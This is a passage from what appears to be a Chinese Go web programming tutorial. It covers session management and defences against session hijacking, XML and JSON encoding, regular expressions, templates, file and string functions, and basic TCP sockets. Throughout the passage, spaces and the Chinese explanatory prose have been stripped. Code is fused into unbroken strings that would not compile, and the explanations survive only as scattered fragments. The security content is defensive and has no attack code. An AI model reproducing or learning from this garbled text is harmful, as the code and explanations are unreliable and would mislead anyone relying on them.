func(st*SessionStore)Set(key,valueinterface{})error{st.value[key]=valuepder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)Get(keyinterface{})interface{}{pder.SessionUpdate(st.sid)ifv,ok:=st.value[key];ok{returnv}else{returnnil}returnnil}

func(st*SessionStore)Delete(keyinterface{})error{delete(st.value,key)pder.SessionUpdate(st.sid)returnnil}

func(st*SessionStore)SessionID()string{returnst.sid}

typeProviderstruct{locksync.Mutex//sessionsmap[string]*list.Element//list*list.List//gc}

func(pder*Provider)SessionInit(sidstring)(session.Session,error){pder.lock.Lock()deferpder.lock.Unlock()v:=make(map[interface{}]interface{},0)newsess:=&SessionStore{sid:sid,timeAccessed:time.Now(),value:v}element:=pder.list.PushBack(newsess)pder.sessions[sid]=elementreturnnewsess,nil}

func(pder*Provider)SessionRead(sidstring)(session.Session,error){ifelement,ok:=pder.sessions[sid];ok{returnelement.Value.(*SessionStore),nil}else{sess,err:=pder.SessionInit(sid)returnsess,err}returnnil,nil}

func(pder*Provider)SessionDestroy(sidstring)error{ifelement,ok:=pder.sessions[sid];ok{delete(pder.sessions,sid)pder.list.Remove(element)returnnil}returnnil}

func(pder*Provider)SessionGC(maxlifetimeint64){pder.lock.Lock()deferpder.lock.Unlock()

for{element:=pder.list.Back()ifelement==nil{break}if(element.Value.(*SessionStore).timeAccessed.Unix()+maxlifetime)<time.Now().Unix(){pder.list.Remove(element)delete(pder.sessions,element.Value.(*SessionStore)

.sid)}else{break}}}

func(pder*Provider)SessionUpdate(sidstring)error{pder.lock.Lock()deferpder.lock.Unlock()ifelement,ok:=pder.sessions[sid];ok{element.Value.(*SessionStore).timeAccessed=time.Now()pder.list.MoveToFront(element)returnnil}returnnil}

funcinit(){pder.sessions=make(map[string]*list.Element,0)session.Register("memory",pder)}

sessioninitsession

import("github.com/astaxie/session"_"github.com/astaxie/session/providers/memory")

importmemoryinitsessionsession

varglobalSessions*session.Manager

//initfuncinit(){globalSessions,_=session.NewManager("memory","gosessionid",3600)goglobalSessions.GC()

}

links

: Gosession: session

6.4 sessionsessionsessionsession.

session

session

count

funccount(whttp.ResponseWriter,r*http.Request){sess:=globalSessions.SessionStart(w,r)ct:=sess.Get("countnum")ifct==nil{sess.Set("countnum",1)}else{sess.Set("countnum",(ct.(int)+1))}t,_:=template.ParseFiles("count.gtpl")w.Header().Set("Content-Type","text/html")t.Execute(w,sess.Get("countnum"))}

count.gtpl

Hi.Nowcount:{{.}}

6.4count

6(chromecookie

6.5cookie

:(firefox),chromefirefoxcookiecookiecookiefirefox:

6.6cookie

6.7session

sessionIDcookiefirefoxchromegoservergosessionid“”goserverhttpgosessionidHTTPgosessionidchrome“”sessionchrome“”

session

cookieonly token

sessionsessionsession

sessionIDcookieURLcookiehttponlytrue,cookiecookieXSSsessioncookieURLsessionID

tokenformtokentoken

h:=md5.New()salt:="astaxie%^7&8888"io.WriteString(h,salt+time.Now().String())token:=fmt.Sprintf("%x",h.Sum(nil))ifr.Form["token"]!=token{//}sess.Set("token",token)

SID

sessionsessionIDsessionsession

createtime:=sess.Get("createtime")ifcreatetime==nil{sess.Set("createtime",time.Now().Unix())}elseif(createtime.(int64)+60)<(time.Now().Unix()){globalSessions.SessionDestroy(w,r)sess=globalSessions.SessionStart(w,r)}

sessionsessionID(60)IDsessionID

session sessionIDsessionIDsessionIDcookiehttponlyURLXSSsessionIDMaxAge=0sessioncookie

links

: session:

6.5sessioncookieGosessionsessionsessionProvidersessionsessionsessionsessionsesisonsession

links

: session:

7WebJsonXMlGoGoGo

XMLJavawebserverXML7.1XMLXMLAPIJSON7.2JSON7.3GoWebMVCGoWebV

links

:: XML

7.1XMLXMLWebXMLGoXML

XMLGoXML

xml

<?xmlversion="1.0"encoding="utf-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server>

<server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

XMLIPGoXML

XML

XMLxml Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

dataXMLvinterfaceXMLstructstructXML

packagemain

import("encoding/xml""fmt""io/ioutil""os")

typeRecurlyserversstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`Descriptionstring`xml:",innerxml"`}

typeserverstruct{XMLNamexml.Name`xml:"server"`ServerNamestring`xml:"serverName"`

ServerIPstring`xml:"serverIP"`}

funcmain(){file,err:=os.Open("servers.xml")//Forreadaccess.iferr!=nil{fmt.Printf("error:%v",err)return}deferfile.Close()data,err:=ioutil.ReadAll(file)iferr!=nil{fmt.Printf("error:%v",err)return}v:=Recurlyservers{}err=xml.Unmarshal(data,&v)iferr!=nil{fmt.Printf("error:%v",err)return}

fmt.Println(v)}

XMLgostructxml.Unmarshalxmlstruct

{{servers}1[{{server}Shanghai_VPN127.0.0.1}{{server}Beijing_VPN127.0.0.2}]<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>}

xmlstruct xml.Unmarshalstruct xml:"serverName",structstruct

tag Unmarshal

funcUnmarshal(data[]byte,vinterface{})error

XMLstructslicestringXMLv UnmarshalXMLstructtagtagXML

GotagXMLstructstructtagreflect

XMLstruct

structstring[]bytetag",innerxml"UnmarshalxmlDescription

<server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server>

structXMLNamexml.Nameelement,serversstructtagXMLelementelementservernameserveripstructtag",attr"elementversionstructtag "a>b>c",xmlabcstructtag"-",xmlstructtag",any"XMLtag",comments"[]bytestring,

structtagtagXMLtagXMLelementslice

goxmlstruct

XML

XMLgoxml MarshalMarshalIndent

funcMarshal(vinterface{})([]byte,error)funcMarshalIndent(vinterface{},prefix,indentstring)([]byte,error)

XMLXML

XML

packagemain

import("encoding/xml""fmt""os")

typeServersstruct{XMLNamexml.Name`xml:"servers"`Versionstring`xml:"version,attr"`Svs[]server`xml:"server"`}

typeserverstruct{ServerNamestring`xml:"serverName"`ServerIPstring`xml:"serverIP"`}

funcmain(){v:=&Servers{Version:"1"}v.Svs=append(v.Svs,server{"Shanghai_VPN","127.0.0.1"})v.Svs=append(v.Svs,server{"Beijing_VPN","127.0.0.2"})output,err:=xml.MarshalIndent(v,"","")iferr!=nil{fmt.Printf("error:%v\n",err)}

os.Stdout.Write([]byte(xml.Header))

os.Stdout.Write(output)}

<?xmlversion="1.0"encoding="UTF-8"?><serversversion="1"><server><serverName>Shanghai_VPN</serverName><serverIP>127.0.0.1</serverIP></server><server><serverName>Beijing_VPN</serverName><serverIP>127.0.0.2</serverIP></server></servers>

os.Stdout.Write([]byte(xml.Header)) xml.MarshalIndentxml.MarshalXMLxmlxmlHeader

Marshalvinterface{}xmlXML

varrayslice valuevMarshalvinterfaceinterfacev

XMLelementstruct

vstructXMLNametagxml.NameXMLNamestructtagstructmarshall

structtagxml

XMLNametag"-"tag"name,attr"nameXMLversiontag",attr"structXMLnametag",chardata"xmlcharacterdataelementtag",innerxml"tag",comment"xml"--"tag"omitempty",XMLfalse0nilnil0array,slice,mapstringtag"a>b>c"abbc

FirstNamestring`xml:"name>first"`LastNamestring`xml:"name>last"`

<name><first>Asta</first><last>Xie</last></name>

Goxml/XMLXMLstructtagstructtagtagtag

links

:: Json

7.2JSONJSONJavascriptObjectNotationJSONJavascriptJSONCJSONXMLXMLJSONJSONXML,,JSONJSONWebGoJSONGoJSONJSON

json

{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}

JSONgojsonJSON

JSON

JSONJSONGoJSON

funcUnmarshal(data[]byte,vinterface{})error

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){

varsServerslicestr:=`{"servers":[{"serverName":"Shanghai_VPN","serverIP":"127.0.0.1"},{"serverName":"Beijing_VPN","serverIP":"127.0.0.2"}]}`json.Unmarshal([]byte(str),&s)fmt.Println(s)}

jsonsliceJSONKEYjsonstructJSONkey Foo

tagFoostruct()Foo

FOOFoO

(JSONJSON

interface

JSON

interface{}jsonJSONmap[string]interface{}[]interface{}JSONGoJSON

boolJSONbooleans,float64JSONnumbers,stringJSONstrings,nilJSONnull.

JSON

b:=[]byte(`{"Name":"Wednesday","Age":6,"Parents":["Gomez","Morticia"]}`)

interface{}

varfinterface{}err:=json.Unmarshal(b,&f)

fmapkeystringinterface{}

f=map[string]interface{}{"Name":"Wednesday","Age":6,"Parents":[]interface{}{"Gomez","Morticia",},}

m:=f.(map[string]interface{})

fork,v:=rangem{switchvv:=v.(type){casestring:fmt.Println(k,"isstring",vv)caseint:fmt.Println(k,"isint",vv)casefloat64:fmt.Println(k,"isfloat64",vv)case[]interface{}:fmt.Println(k,"isanarray:")fori,u:=rangevv{fmt.Println(i,u)}

default:fmt.Println(k,"isofatypeIdon'tknowhowtohandle")}}

interface{}typeassertJSON

bitly simplejson,JSON

js,err:=NewJson([]byte(`{"test":{"array":[1,"2",3],"int":10,"float":5.150,"bignum":9223372036854775807,"string":"simplejson","bool":true}}`))

arr,_:=js.Get("test").Get("array").Array()i,_:=js.Get("test").Get("int").Int()ms:=js.Get("test").Get("string").MustString()

JSON, https://github.com/bitly/go-simplejson

JSON

JSONJSON Marshal

funcMarshal(vinterface{})([]byte,error)

packagemain

import("encoding/json""fmt")

typeServerstruct{ServerNamestringServerIPstring}

typeServerslicestruct{Servers[]Server}

funcmain(){varsServerslices.Servers=append(s.Servers,Server{ServerName:"Shanghai_VPN",ServerIP:"127.0.0.1"})s.Servers=append(s.Servers,Server{ServerName:"Beijing_VPN",ServerIP:"127.0.0.2"})b,err:=json.Marshal(s)iferr!=nil{fmt.Println("jsonerr:",err)}fmt.Println(string(b))}

{"Servers":[{"ServerName":"Shanghai_VPN","ServerIP":"127.0.0.1"},{"ServerName":"Beijing_VPN","ServerIP":"127.0.0.2"}]}

JSONstructtag

typeServerstruct{ServerNamestring`json:"serverName"`

ServerIPstring`json:"serverIP"`}

typeServerslicestruct{Servers[]Server`json:"servers"`}

JSONJSON

JSONstructtag:

tag"-"JSONtagJSONserverNametag"omitempty"JSONbool,string,int,int64tag ",string"JSONJSON

typeServerstruct{//IDJSONIDint`json:"-"`

//ServerName2JSONServerNamestring`json:"serverName"`ServerName2string`json:"serverName2,string"`

//ServerIPJSONServerIPstring`json:"serverIP,omitempty"`}

s:=Server{ID:3,ServerName:`Go"1.0"`,ServerName2:`Go"1.0"`,ServerIP:``,}b,_:=json.Marshal(s)os.Stdout.Write(b)

{"serverName":"Go\"1.0\"","serverName2":"\"Go\\\"1.0\\\"\""}

Marshal

JSONstringkeymapmap[string]T(TGo)Channel,complexfunctionJSONJSONnull

GojsonJSON go-simplejsonWeb

links

: XML:

7.3Web,

GoregexpGoGoRE2\Chttp://code.google.com/p/re2/wiki/Syntax

strings(ContainsIndex)(Replace)(SplitJoin) strings

UTF-8Go regexp

regexptruefalse

funcMatch(patternstring,b[]byte)(matchedbool,errorerror)

funcMatchReader(patternstring,rio.RuneReader)(matchedbool,errorerror)funcMatchString(patternstring,sstring)(matchedbool,errorerror)

patterntrueerrorbytesliceRuneReaderstring

IP

funcIsIP(ipstring)(bbool){ifm,_:=regexp.MatchString("^[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}\\.[0-9]{1,3}$",ip);!m{returnfalse}returntrue}

regexppattern

funcmain(){iflen(os.Args)==1{fmt.Println("Usage:regexp[string]")os.Exit(1)}elseifm,_:=regexp.MatchString("^[0-9]+$",os.Args[1]);m{fmt.Println("" )}else{fmt.Println("" )}

}

Match(Reader|String)

Match

packagemain

import("fmt""io/ioutil""net/http""regexp""strings")

funcmain(){resp,err:=http.Get("http://www.baidu.com")iferr!=nil{fmt.Println("httpgeterror.")}deferresp.Body.Close()body,err:=ioutil.ReadAll(resp.Body)iferr!=nil{fmt.Println("httpreaderror")return}

src:=string(body)

//HTMLre,_:=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllStringFunc(src,strings.ToLower)

//STYLEre,_=regexp.Compile("\\<style[\\S\\s]+?\\</style\\>")

src=re.ReplaceAllString(src,"")

//SCRIPTre,_=regexp.Compile("\\<script[\\S\\s]+?\\</script\\>")src=re.ReplaceAllString(src,"")

//HTMLre,_=regexp.Compile("\\<[\\S\\s]+?\\>")src=re.ReplaceAllString(src,"\n")

//re,_=regexp.Compile("\\s{2,}")src=re.ReplaceAllString(src,"\n")

fmt.Println(strings.TrimSpace(src))}

CompileRegexpRegexp

funcCompile(exprstring)(*Regexp,error)funcCompilePOSIX(exprstring)(*Regexp,error)funcMustCompile(strstring)*RegexpfuncMustCompilePOSIX(strstring)*Regexp

CompilePOSIXCompilePOSIXPOSIXCompile([a-z]{2,4}"aa09aaa88aaaa"CompilePOSIXaaaaCompileaa)MustpanicMust

Regexpstruct

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllString(sstring,nint)[]stringfunc(re*Regexp)FindAllStringIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllStringSubmatch(sstring,nint)[][]st

ringfunc(re*Regexp)FindAllStringSubmatchIndex(sstring,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindReaderIndex(rio.RuneReader)(loc[]int)func(re*Regexp)FindReaderSubmatchIndex(rio.RuneReader)[]int

func(re*Regexp)FindString(sstring)stringfunc(re*Regexp)FindStringIndex(sstring)(loc[]int)func(re*Regexp)FindStringSubmatch(sstring)[]stringfunc(re*Regexp)FindStringSubmatchIndex(sstring)[]intfunc(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

18(byteslicestringio.RuneReader)

func(re*Regexp)Find(b[]byte)[]bytefunc(re*Regexp)FindAll(b[]byte,nint)[][]bytefunc(re*Regexp)FindAllIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindAllSubmatch(b[]byte,nint)[][][]bytefunc(re*Regexp)FindAllSubmatchIndex(b[]byte,nint)[][]intfunc(re*Regexp)FindIndex(b[]byte)(loc[]int)func(re*Regexp)FindSubmatch(b[]byte)[][]bytefunc(re*Regexp)FindSubmatchIndex(b[]byte)[]int

packagemain

import("fmt""regexp")

funcmain(){a:="IamlearningGolanguage"

re,_:=regexp.Compile("[a-z]{2,4}")

//one:=re.Find([]byte(a))fmt.Println("Find:",string(one))

//slice,n0all:=re.FindAll([]byte(a),-1)fmt.Println("FindAll",all)

//index,index:=re.FindIndex([]byte(a))fmt.Println("FindIndex",index)

//indexnallindex:=re.FindAllIndex([]byte(a),-1)fmt.Println("FindAllIndex",allindex)

re2,_:=regexp.Compile("am(.*)lang(.*)")

//Submatch,()()//"amlearningGolanguage"//"learningGo"//"uage"submatch:=re2.FindSubmatch([]byte(a))fmt.Println("FindSubmatch",submatch)for_,v:=rangesubmatch{fmt.Println(string(v))}

//FindIndexsubmatchindex:=re2.FindSubmatchIndex([]byte(a))fmt.Println(submatchindex)

//FindAllSubmatch,submatchall:=re2.FindAllSubmatch([]byte(a),-1)fmt.Println(submatchall)

//FindAllSubmatchIndex,indexsubmatchallindex:=re2.FindAllSubmatchIndex([]byte(a),-1)fmt.Println(submatchallindex)}

RegexpRegexp

func(re*Regexp)Match(b[]byte)boolfunc(re*Regexp)MatchReader(rio.RuneReader)boolfunc(re*Regexp)MatchString(sstring)bool

func(re*Regexp)ReplaceAll(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllFunc(src[]byte,replfunc([]byte)[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteral(src,repl[]byte)[]bytefunc(re*Regexp)ReplaceAllLiteralString(src,replstring)stringfunc(re*Regexp)ReplaceAllString(src,replstring)stringfunc(re*Regexp)ReplaceAllStringFunc(srcstring,replfunc(string)string)string

Expand

func(re*Regexp)Expand(dst[]byte,template[]byte,src[]byte,match[]int)[]bytefunc(re*Regexp)ExpandString(dst[]byte,templatestring,srcstring,match[]int)[]byte

Expand

funcmain(){src:=[]byte(`callhelloalicehellobobcallhelloeve`)

pat:=regexp.MustCompile(`(?m)(call)\s+(?P<cmd>\w+)\s+(?P<arg>.+)\s*$`)res:=[]byte{}for_,s:=rangepat.FindAllSubmatchIndex(src,-1){res=pat.Expand(res,[]byte("$cmd('$arg')\n"),src,s)}fmt.Println(string(res))}

GoregexpGo

links

: Json:

7.4

MVCModelViewControllerViewHTMLJSP <%=....=%>PHP<?php.....?>

7.1

Web

Go

Go template ParseParseFileExecutemerge

funchandler(whttp.ResponseWriter,r*http.Request){t:=template.New("sometemplate")//t,_=t.ParseFiles("tmpl/welcome.html",nil)//user:=GetUser()//t.Execute(w,user)//merger}

Go

ParseParseFilesParsehandlermainos.Stdouthttp.ResponseWriteros.Stdoutio.Writer

GoGo

Go{{}} {{.}}JavaC++this {{.FieldName}},(),

packagemain

import("html/template"

"os")

typePersonstruct{UserNamestring}

funcmain(){t:=template.New("fieldnameexample")t,_=t.Parse("hello{{.UserName}}!")p:=Person{UserName:"Astaxie"}t.Execute(os.Stdout,p)}

helloAstaxie

typePersonstruct{UserNamestringemailstring//}

t,_=t.Parse("hello{{.UserName}}!{{.email}}")

{{.}}fmt

{{with…}}…{{end}}{{range…}}{{end}}

{{range}}Gorange{{with}}

packagemain

import("html/template""os")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}anemail{{.}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

GoGo if-elsepipelineiffalse if-else

packagemain

import("os""text/template")

funcmain(){tEmpty:=template.New("templatetest")tEmpty=template.Must(tEmpty.Parse("pipelineifdemo:{{if``}}.{{end}}\n" ))tEmpty.Execute(os.Stdout,nil)

tWithValue:=template.New("templatetest")tWithValue=template.Must(tWithValue.Parse("pipelineifdemo:{{if`anything`}}.{{end}}\n" ))tWithValue.Execute(os.Stdout,nil)

tIfElse:=template.New("templatetest")tIfElse=template.Must(tIfElse.Parse("if-elsedemo:{{if`anything`}}if{{else}}else.{{end}}\n" ))tIfElse.Execute(os.Stdout,nil)}

if-else

if.Mail=="[email protected]"ifbool

pipelines

Unixpipe ls|grep"beego""beego"GopipeGo {{}}pipelinesemailXSS

{{.|html}}

emailhtmlUnix

with``range``if {{end}}Go

$variable:=pipeline

{{with$x:="output"|printf"%q"}}{{$x}}{{end}}{{with$x:="output"}}{{printf"%q"$x}}{{end}}{{with$x:="output"}}{{$x|printf"%q"}}{{end}}

fmt @at astaxieatbeego.me

Go

typeFuncMapmap[string]interface{}

email emailDealGoEmailDealWith,

t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})

EmailDealWith

funcEmailDealWith(args…interface{})string

packagemain

import("fmt""html/template""os""strings")

typeFriendstruct{Fnamestring}

typePersonstruct{UserNamestringEmails[]stringFriends[]*Friend}

funcEmailDealWith(args...interface{})string{ok:=falsevarsstringiflen(args)==1{s,ok=args[0].(string)}if!ok{s=fmt.Sprint(args...)}//findthe@symbolsubstrs:=strings.Split(s,"@")iflen(substrs)!=2{returns}//replacethe@by"at"return(substrs[0]+"at"+substrs[1])}

funcmain(){f1:=Friend{Fname:"minux.ma"}f2:=Friend{Fname:"xushiwei"}t:=template.New("fieldnameexample")t=t.Funcs(template.FuncMap{"emailDeal":EmailDealWith})t,_=t.Parse(`hello{{.UserName}}!{{range.Emails}}

anemails{{.|emailDeal}}{{end}}{{with.Friends}}{{range.}}myfriendnameis{{.Fname}}{{end}}{{end}}`)p:=Person{UserName:"Astaxie",Emails:[]string{"[email protected]","[email protected]"},Friends:[]*Friend{&f1,&f2}}t.Execute(os.Stdout,p)}

varbuiltins=FuncMap{"and":and,"call":call,"html":HTMLEscaper,"index":index,"js":JSEscaper,"len":length,"not":not,"or":or,"print":fmt.Sprint,"printf":fmt.Sprintf,"println":fmt.Sprintln,"urlquery":URLQueryEscaper,}

Must

MustMust

packagemain

import("fmt""text/template")

funcmain(){tOk:=template.New("first")template.Must(tOk.Parse("somestatictext/*andacomment*/"))fmt.Println("ThefirstoneparsedOK.")

template.Must(template.New("second").Parse("somestatictext{{.Name}}"))fmt.Println("ThesecondoneparsedOK.")

fmt.Println("Thenextoneoughttofail.")tErr:=template.New("checkparseerrorwithMust")template.Must(tErr.Parse("somestatictext{{.Name}"))}

ThefirstoneparsedOK.ThesecondoneparsedOK.Thenextoneoughttofail.panic:template:checkparseerrorwithMust:1:unexpected"}"incommand

Web headercontentfooterGo

{{define"" }}{{end}}

{{template"" }}

header.tmplcontent.tmplfooter.tmpl

//header.tmpl{{define"header"}}<html><head><title> </title></head><body>{{end}}

//content.tmpl{{define"content"}}{{template"header"}}<h1> </h1><ul><li>define </li><li>template </li></ul>{{template"footer"}}{{end}}

//footer.tmpl{{define"footer"}}</body></html>{{end}}

packagemain

import("fmt""os"

"text/template")

funcmain(){s1,_:=template.ParseFiles("header.tmpl","content.tmpl","footer.tmpl")s1.ExecuteTemplate(os.Stdout,"header",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"content",nil)fmt.Println()s1.ExecuteTemplate(os.Stdout,"footer",nil)fmt.Println()s1.Execute(os.Stdout,nil)}

template.ParseFiles{{define}}map(keyvalue)ExecuteTemplateheaderfootercontentheaderfooters1.Execute

MVCVMC

links

::

7.5Web,Web,Web,,,(),Go

os

funcMkdir(namestring,permFileMode)error

nameperm0777

funcMkdirAll(pathstring,permFileMode)error

pathastaxie/test1/test2

funcRemove(namestring)error

name

funcRemoveAll(pathstring)error

pathpath

packagemain

import("fmt""os")

funcmain(){os.Mkdir("astaxie",0777)os.MkdirAll("astaxie/test1/test2",0777)err:=os.Remove("astaxie")iferr!=nil{fmt.Println(err)}os.RemoveAll("astaxie")}

funcCreate(namestring)(file*File,errError)

0666

funcNewFile(fduintptr,namestring)*File

funcOpen(namestring)(file*File,errError)

nameOpenFile

funcOpenFile(namestring,flagint,permuint32)(file*File,errError)

nameflagperm

func(file*File)Write(b[]byte)(nint,errError)

byte

func(file*File)WriteAt(b[]byte,offint64)(nint,errError)

byte

func(file*File)WriteString(sstring)(retint,errError)

string

packagemain

import("fmt""os")

funcmain(){userFile:="astaxie.txt"fout,err:=os.Create(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfout.Close()fori:=0;i<10;i++{fout.WriteString("Justatest!\r\n")fout.Write([]byte("Justatest!\r\n"))}}

func(file*File)Read(b[]byte)(nint,errError)

b

func(file*File)ReadAt(b[]byte,offint64)(nint,errError)

offb

:

packagemain

import("fmt""os")

funcmain(){userFile:="asatxie.txt"fl,err:=os.Open(userFile)iferr!=nil{fmt.Println(userFile,err)return}deferfl.Close()buf:=make([]byte,1024)for{n,_:=fl.Read(buf)if0==n{break}os.Stdout.Write(buf[:n])}}

Go

funcRemove(namestring)Error

name

links

::

7.6WebGostringsstrconv

strings

funcContains(s,substrstring)bool

ssubstrbool

fmt.Println(strings.Contains("seafood","foo"))fmt.Println(strings.Contains("seafood","bar"))fmt.Println(strings.Contains("seafood",""))fmt.Println(strings.Contains("",""))//Output://true//false//true//true

funcJoin(a[]string,sepstring)string

sliceasep

s:=[]string{"foo","bar","baz"}fmt.Println(strings.Join(s,","))//Output:foo,bar,baz

funcIndex(s,sepstring)int

ssep-1

fmt.Println(strings.Index("chicken","ken"))fmt.Println(strings.Index("chicken","dmr"))//Output:4//-1

funcRepeat(sstring,countint)string

scount

fmt.Println("ba"+strings.Repeat("na",2))//Output:banana

funcReplace(s,old,newstring,nint)string

soldnewn0

fmt.Println(strings.Replace("oinkoinkoink","k","ky",2))fmt.Println(strings.Replace("oinkoinkoink","oink","moo",-1))//Output:oinkyoinkyoink//moomoomoo

funcSplit(s,sepstring)[]string

ssepslice

fmt.Printf("%q\n",strings.Split("a,b,c",","))fmt.Printf("%q\n",strings.Split("amanaplanacanalpanama","a"))fmt.Printf("%q\n",strings.Split("xyz",""))fmt.Printf("%q\n",strings.Split("","BernardoO'Higgins"))

//Output:["a""b""c"]//["""man""plan""canalpanama"]//["""x""y""z"""]//[""]

funcTrim(sstring,cutsetstring)string

scutset

fmt.Printf("[%q]",strings.Trim("!!!Achtung!!!","!"))//Output:["Achtung"]

funcFields(sstring)[]string

sslice

fmt.Printf("Fieldsare:%q",strings.Fields("foobarbaz"))//Output:Fieldsare:["foo""bar""baz"]

strconv

Append

packagemain

import("fmt""strconv")

funcmain(){str:=make([]byte,0,100)str=strconv.AppendInt(str,4567,10)str=strconv.AppendBool(str,false)str=strconv.AppendQuote(str,"abcdefg")str=strconv.AppendQuoteRune(str,'' )fmt.Println(string(str))}

Format```Go

packagemain

import("fmt""strconv")

funcmain(){a:=strconv.FormatBool(false)b:=strconv.FormatFloat(123.23,'g',12,64)c:=strconv.FormatInt(1234,10)d:=strconv.FormatUint(12345,10)e:=strconv.Itoa(1023)fmt.Println(a,b,c,d,e)}

-Parse

```Go

packagemain

import("fmt""strconv")funccheckError(eerror){ife!=nil{fmt.Println(e)

}}funcmain(){a,err:=strconv.ParseBool("false")checkError(err)b,err:=strconv.ParseFloat("123.23",64)checkError(err)c,err:=strconv.ParseInt("1234",10,64)checkError(err)d,err:=strconv.ParseUint("12345",10,64)checkError(err)e,err:=strconv.Atoi("1023")checkError(err)fmt.Println(a,b,c,d,e)}

links

::

7.7XMLJSONXMLJSONXMLJSON()Web

links

:: Web

8Web

WebHTTPXMLJSON

WebLinuxWindowsasp.netFreeBSDJSP

WebRESTSOAP

RESTRESTHTTPHTTPmethodWebHTTPREST8.3GoREST

SOAPW3CSOAPGoSOAPGoRPC8.4GoRPC

Go21C8.1SocketSocketHTTPGoSocketHTML5webSockets8.2GowebSockets

links

:: Socket

8.1Socket

SocketSocketWebQQQQQQPPstreamPPstreamSocketSocketGoSocket

Socket

SocketUnixUnix“”“open–>write/read–>close”SocketSocketI/OSocketSocketSocket()SocketSocket

SocketSocketSOCK_STREAMSocketSOCK_DGRAMSocketTCPSocketSocketUDP

Socket

SocketPIDTCP/IP“ip”“+”ipTCP/IP

8.1

TCP/IPUNIXBSDsocketUNIXSystemVTLIsocket“Socket”

Socket

SocketTCPSocketUDPSocketTCPUDPIP

IPv4

TCP/IPIPTCP/IPTCP/IPIP4(IPv4)30

IPv432232InternetIPIPIPV4IP

127.0.0.1172.122.121.111

IPv6

IPv6IPv4IPv6128IPv61000IPv6IPv4IPQoS

2002:c0e8:82e7:0:0:0:c0e8:82e7

Go IP

GonetIP

typeIP[]byte

netIP ParseIP(sstring)IPIPv4IPv6IP:

packagemainimport("net""os"

"fmt")funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%sip-addr\n",os.Args[0])os.Exit(1)}name:=os.Args[1]addr:=net.ParseIP(name)ifaddr==nil{fmt.Println("Invalidaddress")}else{fmt.Println("Theaddressis",addr.String())}os.Exit(0)}

IPIP

TCPSocket

GonetTCPConn

func(c*TCPConn)Write(b[]byte)(nint,erros.Error)func(c*TCPConn)Read(b[]byte)(nint,erros.Error)

TCPConn

TCPAddrTCP

typeTCPAddrstruct{IPIPPortint

}

GoResolveTCPAddrTCPAddr

funcResolveTCPAddr(net,addrstring)(*TCPAddr,os.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only),TCP(IPv6-only)TCP(IPv4,IPv6).addrIP"www.google.com:80""127.0.0.1:22".

TCPclient

GonetDialTCPTCP TCPConn TCPConn TCPConn

funcDialTCP(netstring,laddr,raddr*TCPAddr)(c*TCPConn,erros.Error)

net"tcp4""tcp6""tcp"TCP(IPv4-only)TCP(IPv6-only)TCP(IPv4,IPv6)laddrnilraddr

HTTPWebhttp

"HEAD/HTTP/1.0\r\n\r\n"

HTTP/1.0200OKETag:"-9985996"Last-Modified:Thu,25Mar201017:51:10GMT

Content-Length:18074Connection:closeDate:Sat,28Aug201000:43:48GMTServer:lighttpd/1.4.23

packagemain

import("fmt""io/ioutil""net""os")

funcmain(){iflen(os.Args)!=2{fmt.Fprintf(os.Stderr,"Usage:%shost:port",os.Args[0])os.Exit(1)}service:=os.Args[1]tcpAddr,err:=net.ResolveTCPAddr("tcp4",service)checkError(err)conn,err:=net.DialTCP("tcp",nil,tcpAddr)checkError(err)_,err=conn.Write([]byte("HEAD/HTTP/1.0\r\n\r\n"))checkError(err)result,err:=ioutil.ReadAll(conn)checkError(err)fmt.Println(string(result))os.Exit(0)}funccheckError(errerror){iferr!=nil{fmt.Fprintf(os.Stderr,"Fatalerror:%s",err.Error())os.Exit(1)}}

servicenet.ResolveTCPAddrtcpAddr,tcpAddrDialTCPTCPconnconnioutil.ReadAllconn

TCPserver

TCPnetnet

funcListenTCP(netstring,laddr*TCPAddr)(l*TCPListener,erros.Error)func(l*TCPListener)Accept()(cConn,erros.Error)

DialTCP7777

packagemain

import("fmt""net""os""time")

